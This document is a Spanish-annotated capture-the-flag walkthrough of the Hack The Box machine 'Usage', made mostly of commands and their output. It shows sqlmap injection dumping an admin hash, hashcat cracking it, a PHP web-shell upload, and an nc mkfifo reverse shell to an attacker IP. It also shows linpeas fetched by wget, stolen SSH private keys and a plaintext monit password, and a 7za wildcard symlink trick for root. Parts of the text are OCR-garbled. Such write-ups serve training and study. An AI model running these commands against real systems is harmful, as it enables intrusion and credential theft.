Usage

nmap

nmap -sC -sV 10.10.11.18

Starting Nmap 7.94SVN (https://nmap.org) at 2024-04-20 22:17 CEST Nmap scan report for 10.10.11.18 Host is up (0.35s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA) _ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://usage.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kemel Service detection performed. Please report any incorrect results at https://nmap.org/submit/. cat /etc/hosts 10.10.11.18 usage.htb #Nos creamos una cuenta, y accedemos a http://usage.htb/dashboard. #Utilizaremos esta extensión. https://addons.mozilla.org/es/firefox/addon/wappalyzer/ #También podremos identificar el tipo de web con este comando. whatweb http://usage.htb/ http://usage.htb/ [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0] #Vemos que está utilizando el framework "Laravel". #Encontramos una vulnerabilidad en este framework. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel?source=post_page-----f1c2793eeb7e-gobuster dns -d usage.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) [+] Domain: usage.htb [+] Threads: 10 [+] Timeout: [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt Starting gobuster in DNS enumeration mode Found: admin.usage.htb #Añadimos el dominio en /etc/hosts. admin.usage.htb #Ahora utilizaremos sglmap para buscar vulnerabilidades de SQLI. #Nos guardamos la request POST en un fillero llamado request.txt

sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch --dbs --dump --threads 3 sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog --tables --dump --threads 3 sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog -T admin_users --dump --threads 3

sqlmap

sqlmap -r request.txt -p email -D usage_blog -T admin_users --dump --threads 3 __H__ ____ {1.8.2#stable} ___[(]__ |_ -| . [(] | .'| . | _|_ [(]_|_|_,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer. Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:18:53 /2024-05-14/ [20:18:53] [INFO] parsing HTTP request from 'request.txt' [20:18:54] [INFO] resuming back-end DBMS 'mysql' [20:18:54] [INFO] testing connection to the target URL got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] sqlmap resumed the following injection point(s) from stored session: Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subguery - comment) Payload: _token=acmBwaITXAZm8TVIuTg2Bk4Ao7R79rvytsQ5zd2N&email=test@test.com' AND 8588=(SELECT (CASE WHEN (8588=8588) THEN 8588 ELSE (SELECT 8411 UNION SELECT 1945) END))-- -Type: time-based blind Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK) Payload: _token=acmBwaITXAZm8TVIuTg2Bk4Ao7R79rvytsQ5zd2N&email=test@test.com' AND 2536=BENCHMARK(5000000,MD5(0x64446d41))-- RSbF [20:20:34] [INFO] the back-end DBMS is MvSOL web server operating system: Linux Ubuntu web application technology: Nginx 1.18.0 back-end DBMS: MySQL < 5.0.12 [20:20:34] [INFO] fetching columns for table 'admin_users' in database 'usage_blog' [20:20:34] [INFO] resumed: 8 [20:20:34] [INFO] retrieving the length of query output [20:20:34] [INFO] resumed: 2 [20:20:34] [INFO] resumed: id [20:20:34] [INFO] retrieving the length of query output [20:20:34] [INFO] resumed: 8 [20:20:34] [INFO] resumed: username [20:20:34] [INFO] retrieving the length of query output [20:20:34] [INFO] retrieved: you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] 8 [20:21:06] [INFO] retrieved: password [20:21:06] [INFO] retrieving the length of query output [20:21:06] [INFO] retrieved: 4 [20:21:22] [INFO] retrieved: name [20:21:22] [INFO] retrieving the length of query output [20:21:22] [INFO] retrieved: 6 [20:21:46] [INFO] retrieved: avatar [20:21:46] [INFO] retrieving the length of query output [20:21:46] [INFO] retrieved: 14 [20:22:38] [INFO] retrieved: remember_token [20:22:38] [INFO] retrieving the length of query output [20:22:38] [INFO] retrieved: 10 [20:23:17] [INFO] retrieved: created_at [20:23:17] [INFO] retrieving the length of query output [20:23:17] [INFO] retrieved: 10 [20:24:01] [INFO] retrieved: updated at [20:24:01] [INFO] fetching entries for table 'admin_users' in database 'usage_blog' [20:24:01] [INFO] fetching number of entries for table 'admin_users' in database 'usage_blog' [20:24:01] [INFO] retrieved: 1 [20:24:05] [INFO] retrieving the length of query output [20:24:05] [INFO] retrieved: 13 [20:24:58] [INFO] retrieved: Administrator [20:24:58] [INFO] retrieving the length of query output [20:24:58] [INFO] retrieved: 0 multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N]

[20:25:01] [WARNING] (case) time-based comparison requires reset of statistical model, please wait...................................(done)

[20:25:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [20:25:59] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [20:25:59] [INFO] retrieving the length of query output [20:25:59] [INFO] retrieved: 19 [20:27:11] [INFO] retrieved: 2023-08-13 02:48:26 [20:27:11] [INFO] retrieving the length of query output [20:27:11] [INFO] retrieved: 1 [20:27:15] [INFO] retrieved: 1 [20:27:20] [INFO] retrieving the length of query output [20:27:20] [INFO] retrieved: 60 $\hbox{\tt [20:31:15] [INFO] retrieved: $2y\$10\$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2}\\$ [20:31:15] [INFO] retrieving the length of query output [20:31:15] [INFO] retrieved: 60 $[20:35:03] \ [INFO] \ retrieved: \ kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLTreeved \ (Control of the control of the con$ [20:35:03] [INFO] retrieving the length of query output [20:35:03] [INFO] retrieved: 19 [20:36:12] [INFO] retrieved: 2023-08-23 06:02:19 [20:36:12] [INFO] retrieving the length of query output [20:36:12] [INFO] retrieved: 5 [20:36:39] [INFO] retrieved: admin Database: usage_blog Table: admin_users [1 entry] | id | name | avatar | password 1 | Administrator | <blank> | \$2y\$10\$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT | $[20:36:39] \ [INFO] \ table \ 'usage_blog. admin_users' \ dumped \ to \ CSV \ file \ '/root/.local/share/sqlmap/output/usage.htb/dump/usage_blog/local/share/$ [20:36:39] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 858 times [20:36:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'

admin_users.csv'

[*] ending @ 20:36:39 /2024-05-14/

#Guardamos el hash en un fichero.

#Buscamos que tipo de hash se trata.

\$2y\$10\$ohq2kLpBH/ri.P5wR0P3UOmc24YdvI9DA9H1S6ooOMgH5xVfUPrL2 - Possible algorithms: bcrypt \$2*\$, Blowfish (Unix)

#Creackearemos el hash con hascat.

hashcat

hashcat hash.txt -a 0 -m 3200 --wordlist /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-AMD Ryzen 7 3700U with Radeon Vega Mobile Gfx, 2918/5901 MB (1024 MB allocatable), 6MCU

Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

- * Zero-Byte
- * Single-Hash
- * Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385 * Bytes....: 139921507 * Keyspace..: 14344385

Cracking performance lower than expected?

* Append -w 3 to the commandline. This can cause your screen to lag.

* Append -S to the commandline.

This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework

\$2y\$10\$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

user.txt

#Iniciaremos sessión en: admin.usage.htb con las credenciales.

```
user --> admin
passwd --> whatever1
```

#Dentro de la web, nos dirigimos a: http://admin.usage.htb/admin/auth/setting
#Podemos descargar el .jpg, trataremos de modificarlo con un revrshell.

#A la hora de subir el .php, añadiremos la extensión al "filename=<.jpg>.php".

#Nos dirigimos a http://admin.usage.htb/uploads/images/shell.jpg.php, para ejecutar p0wnyshell.

#Nos conectamos

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.203 4444 >/tmp/f

#Tenemos un shell.

nc -nlvp 4444

listening on [any] 4444 ...

connect to [10.10.14.203] from (UNKNOWN) [10.10.11.18] 56826

/bin/sh: 0: can't access tty; job control turned off

\$ whoami

dash

\$ wget <u>http://10.10.14.203/linpeas.sh</u>

--2024-05-15 21:12:13-- <u>http://10.10.14.203/linpeas.sh</u>

Connecting to 10.10.14.203:80... connected. HTTP request sent, awaiting response... 200 OK

Length: 134168 (131K) [text/x-sh]

Saving to: 'linpeas.sh'

0K	38%	191K 0s
50K	76%	387K 0s
100K	100%	7.32M=0.4s

2024-05-15 21:12:14 (331 KB/s) - 'linpeas.sh' saved [134168/134168]

\$ dir

linpeas.sh

\$ chmod +x linpeas.sh

./linepeas

#Encontramos algunas claves ssh.

[+] Looking for ssl/ssh files

/home/dash/.ssh/id_rsa.pub

/home/dash/.ssh/id_rsa

/home/dash/.ssh/authorized_keys

 $Permit Root Login\ prohibit-password$

PermitRootLogin yes

PubkeyAuthentication yes

PasswordAuthentication yes

UsePAM yes

Private SSH keys found!:

/home/dash/.ssh/id_rsa

--> Some certificates were found:

root

```
#Realizaremos un movimiento lateral
at /etc/passwd | grep -E ^*bin/bash$
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
authorized_keys id_rsa id_rsa.pub
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BIbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABIwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA3TGri1F/7YzwawPZg0LvRIkEMJSJQxCXwxT+kY93SpmpnAL0U73Y
RnNLYdwGVjYbO45FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HTOnGQ
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
----END OPENSSH PRIVATE KEY----
$ sudo -l
#Realizaremos una técnica llamada "Wildcards Spare tricks" <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks</a>.
#Primero, nos conectaremos con la clave ssh obtenida anteriormente.
chmod 400 id rsa
  --(root⊛kali)-[~/Downloads]
┌──(root⊛kali)-[~/Downloads]
L-# ssh -i id_rsa dash@10.10.11.18
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: <a href="https://help.ubuntu.com">https://help.ubuntu.com</a>
* Management: <a href="https://landscape.canonical.com">https://landscape.canonical.com</a>
* Support:
              https://ubuntu.com/pro
 System information as of Wed May 15 09:49:10 PM UTC 2024
 System load: 0.0205078125 Processes:
 Usage of /: 70.5% of 6.53GB Users logged in: 1
                               IPv4 address for eth0: 10.10.11.18
 Memory usage: 28%
 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See <a href="https://ubuntu.com/esm">https://ubuntu.com/esm</a> or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed May 15 20:42:35 2024 from 10.10.14.169
#Vemos credencilaes.
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
   use address 127.0.0.1
   allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
  if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
```

if memory usage > 80% for 2 cycles then alert if cpu usage (user) > 70% for 2 cycles then alert if cpu usage (system) > 30% then alert if cpu usage (wait) > 20% then alert if loadavg (1min) > 6 for 2 cycles then alert if loadavg (5min) > 4 for 2 cycles then alert if swap usage > 5% then alert

check filesystem rootfs with path / if space usage > 80% then alert

strings /usr/bin/usage_management

/var/www/html

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql

Password has been reset.

Choose an option:

- 1. Project Backup
- 2. Backup MySQL data
- 3. Reset admin password

#Nos conectamos al usuario xandrer.

user --> xander

passwd --> 3nc0d3d_pa\$\$w0rd

ssh -i id rsa2 xander@10.10.11.18

xander@10.10.11.18's password:

Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/pro

System information as of Wed May 15 10:40:56 PM UTC 2024

 System load:
 0.119140625
 Processes:
 230

 Usage of /:
 66.6% of 6.53GB
 Users logged in:
 0

 Memory usage:
 21%
 IPv4 address for eth0:
 10.10.11.18

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.

See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

xander@usage:~\$

#Nos dirigimos a /var/www/html y escribimos:

xander@usage:/var/www/html\$ touch @id_rsa xander@usage:/var/www/html\$ ln -s /root/.ssh/id_rsa id_rsa xander@usage:/var/www/html\$ sudo /usr/bin/usage_management Choose an option:

- 1. Project Backup
- 2. Backup MySQL data
- 3. Reset admin password

Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)

Open archive: /var/backups/project.zip

--

Path = /var/backups/project.zip Type = zip Physical Size = 54871447 Scanning the drive: WARNING: No more files -----BEGIN OPENSSH PRIVATE KEY-----WARNING: No more files WARNING: No more files QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi WARNING: No more files QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q WARNING: No more files AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDsWARNING: No more files H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=WARNING: No more files ----END OPENSSH PRIVATE KEY---stat error for ./root.txt (No such file or directory) #Ya tenemos la private key. #Lo guardamos en un fillero Illamado id_rsa3, sin espacios. #Nos conectamos y somos root. chmod 400 id_rsa3 r—(root®kali)-[~/Desktop/machines/Usage] L-# ssh -i id_rsa3 root@10.10.11.18 Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Thu May 16 12:12:02 AM UTC 2024 System load: 0.56591796875 Processes: Usage of /: 65.7% of 6.53GB Users logged in: 1 Memory usage: 22% IPv4 address for eth0: 10.10.11.18 Swap usage: 0% Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Apr 8 13:17:47 2024 from 10.10.14.40 root@usage:~#